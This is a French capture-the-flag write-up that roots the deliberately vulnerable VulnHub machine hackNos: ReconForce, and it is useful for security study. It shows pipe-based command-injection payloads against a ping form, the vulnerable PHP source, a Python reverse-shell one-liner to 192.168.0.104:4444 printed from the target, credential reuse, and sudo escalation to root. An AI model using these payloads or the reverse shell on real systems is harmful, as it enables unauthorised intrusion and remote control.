Accueil Solution du CTF hackNos: ReconForce de VulnHub
Post
Annuler

Solution du CTF hackNos: ReconForce de VulnHub

hackNos: ReconForce est un boot2root mis en ligne en janvier 2020 sur VulnHub.

Sean Reconnery

Une fois n’est pas coutume je commence par un Nuclei :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nuclei -u http://192.168.56.222/

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.9.4

                projectdiscovery.io

[INF] Current nuclei version: v2.9.4 (outdated)
[INF] Current nuclei-templates version: 9.5.0 (latest)
[INF] New templates added in latest release: 62
[INF] Templates loaded for current scan: 5958
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1059 (Reduced 1000 Requests)
[apache-detect] [http] [info] http://192.168.56.222/ [Apache/2.4.41 (Ubuntu)]
--- snip ---
[openssh-detect] [tcp] [info] 192.168.56.222:22 [SSH-2.0-OpenSSH_8.0p1 Ubuntu-6build1]
[ftp-anonymous-login] [tcp] [medium] 192.168.56.222:21

Ici ça tombe bien, car la VM n’écoute pas sur des ports exotiques.

Je me connecte au FTP pour voir ce qu’il a dans le ventre et un entête semble m’offrir un mot de passe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ftp anonymous@192.168.56.222
Connected to 192.168.56.222.
220 "Security@hackNos".
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||10218|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        117          4096 Jan 06  2020 .
drwxr-xr-x    2 0        117          4096 Jan 06  2020 ..
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||54726|)
550 Permission denied.

Le FTP est vide et je ne peux rien déposer dessus.

Sur le site web je trouve un lien vers /5ecure/ qui demande des identifiants.

Je réussis à passer l’authentification avec admin / Security@hackNos.

Je tome alors face à un formulaire qui sent l’exécution de commande à plein nez :

1
2
3
4
5
6
7
<form name="ping" action="out.php" method="post">
	<p>
		<h6>Enter an IP address:<h6>
		<input type="text" name="ip" size="30">
		<input type="submit" name="Submit" value="Ping_Scan">
	</p>
</form>

Wapiti va nous aider à mettre les choses au clair :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ wapiti --auth-cred "admin%Security@hackNos" --auth-method basic -u http://192.168.56.222/5ecure/ -m exec,file -v2 --color

     __      __               .__  __  .__________
    /  \    /  \_____  ______ |__|/  |_|__\_____  \
    \   \/\/   /\__  \ \____ \|  \   __\  | _(__  <
     \        /  / __ \|  |_> >  ||  | |  |/       \
      \__/\  /  (____  /   __/|__||__| |__/______  /
           \/        \/|__|                      \/
Wapiti 3.1.7 (wapiti-scanner.github.io)
[+] GET http://192.168.56.222/5ecure/ (0)
[+] POST http://192.168.56.222/5ecure/out.php (1)
        data: ip=default&Submit=Ping_Scan
[+] GET http://192.168.56.222/5ecure/out.php (1)
[*] Saving scan state, please wait...
This scan has been saved in the file /home/sirius/.wapiti/scans/192.168.56.222_folder_c61c5d48.db
[*] Wapiti found 3 URLs and forms during the scan
[*] Existing modules:
         backup, brute_login_form, buster, cookieflags, crlf, csp, csrf, drupal_enum, exec, file, htaccess, htp, http_headers, log4shell, methods, nikto, permanentxss, redirect, shellshock, sql, ssl, ssrf, takeover, timesql, wapp, wp_enum, xss, xxe

[*] Launching module exec
[+] GET http://192.168.56.222/5ecure/ (0)
[+] GET http://192.168.56.222/5ecure/out.php (1)
[+] POST http://192.168.56.222/5ecure/out.php (1)
        data: ip=default&Submit=Ping_Scan
[¨] POST http://192.168.56.222/5ecure/out.php (1)
        data: ip=%3Benv%3B&Submit=Ping_Scan
[¨] POST http://192.168.56.222/5ecure/out.php (1)
        data: ip=%7Cenv&Submit=Ping_Scan
---
Command execution in http://192.168.56.222/5ecure/out.php via injection in the parameter ip
Evil request:
    POST /5ecure/out.php HTTP/1.1
    host: 192.168.56.222
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    content-type: application/x-www-form-urlencoded
    referer: http://192.168.56.222/5ecure/
    content-length: 26
    authorization: Basic YWRtaW46U2VjdXJpdHlAaGFja05vcw==
    Content-Type: application/x-www-form-urlencoded

    ip=%7Cenv&Submit=Ping_Scan
---

Donc l’injection de commandes est possible, mais via les pipes uniquement.

Je peux faire afficher le code du script out.php pour en savoir plus :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

Le code retire différents caractères qu’il juge dangereux. Le retrait des tirets rend impossible de passer des options à la plupart des commandes.

Pour connaître l’architecture du système je peux utiliser la commande arch qui m’indique x86_64. Je peux alors rapatrier un reverse-ssh pour cette architecture et le mettre en écoute.

Repassword

Une fois sur le système je trouve un flag dans le dossier de l’utilisateur recon.

1
2
3
4
www-data@hacknos:/$ cat /home/recon/user.txt 
###########################################

MD5HASH: bae11ce4f67af91fa58576c1da2aad4b

Et aussi un script qui lui appartient dans /var/opt :

1
2
3
4
5
6
7
8
9
10
11
12
www-data@hacknos:/$ find / -user recon -ls 2> /dev/null 
   405659      4 drwxr-xr-x   4 recon    docker       4096 Jan 10  2020 /home/recon
   399419      0 -rw-------   1 recon    docker          0 Jan 10  2020 /home/recon/.bash_history
   405660      4 -rw-r--r--   1 recon    docker       3771 May  5  2019 /home/recon/.bashrc
   405661      4 -rw-r--r--   1 recon    docker        220 May  5  2019 /home/recon/.bash_logout
   405718      0 -rw-r--r--   1 recon    docker          0 Jan  6  2020 /home/recon/.sudo_as_admin_successful
   407282      4 drwx------   2 recon    docker       4096 Jan  6  2020 /home/recon/.cache
   407280      4 drwx------   3 recon    docker       4096 Jan  6  2020 /home/recon/.gnupg
   405662      4 -rw-r--r--   1 recon    docker        807 May  5  2019 /home/recon/.profile
   523002      4 -rwxrwxrwx   1 recon    www-data      220 Jan 10  2020 /var/opt/python.py
www-data@hacknos:/$ cat /var/opt/python.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.104",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Ce script est-il appelé via une crontab ? Je l’ai modifié pour qu’il se connecte à mon IP, mais je n’ai rien reçu.

Finalement j’ai testé les identifiants recon / Security@hackNos via su et c’est passé.

L’utilisateur a des permissions sudo lui permettant de faire tout ce qu’il souhaite :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
recon@hacknos:/tmp$ sudo -l
[sudo] password for recon: 
Matching Defaults entries for recon on hacknos:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User recon may run the following commands on hacknos:
    (ALL : ALL) ALL
recon@hacknos:/tmp$ sudo su
root@hacknos:/tmp# cd /root
root@hacknos:~# ls
root.txt  snap
root@hacknos:~# cat root.txt
     $$\          $$$$$$$\                                          
     \$$\         $$  __$$\                                         
$$$$\ \$$\        $$ |  $$ | $$$$$$\   $$$$$$$\  $$$$$$\  $$$$$$$\  
\____| \$$\       $$$$$$$  |$$  __$$\ $$  _____|$$  __$$\ $$  __$$\ 
$$$$\  $$  |      $$  __$$< $$$$$$$$ |$$ /      $$ /  $$ |$$ |  $$ |
\____|$$  /       $$ |  $$ |$$   ____|$$ |      $$ |  $$ |$$ |  $$ |
     $$  /        $$ |  $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$  |$$ |  $$ |
     \__/         \__|  \__| \_______| \_______| \______/ \__|  \__|
                                                                    
                                                                    
                                                                    

MD5HASH: bae11ce4f67af91fa58576c1da2aad4b

Author: Rahul Gehlaut

WebBlog: www.hackNos.com

Twitter: @rahul_gehlaut
Cet article est sous licence CC BY 4.0 par l'auteur.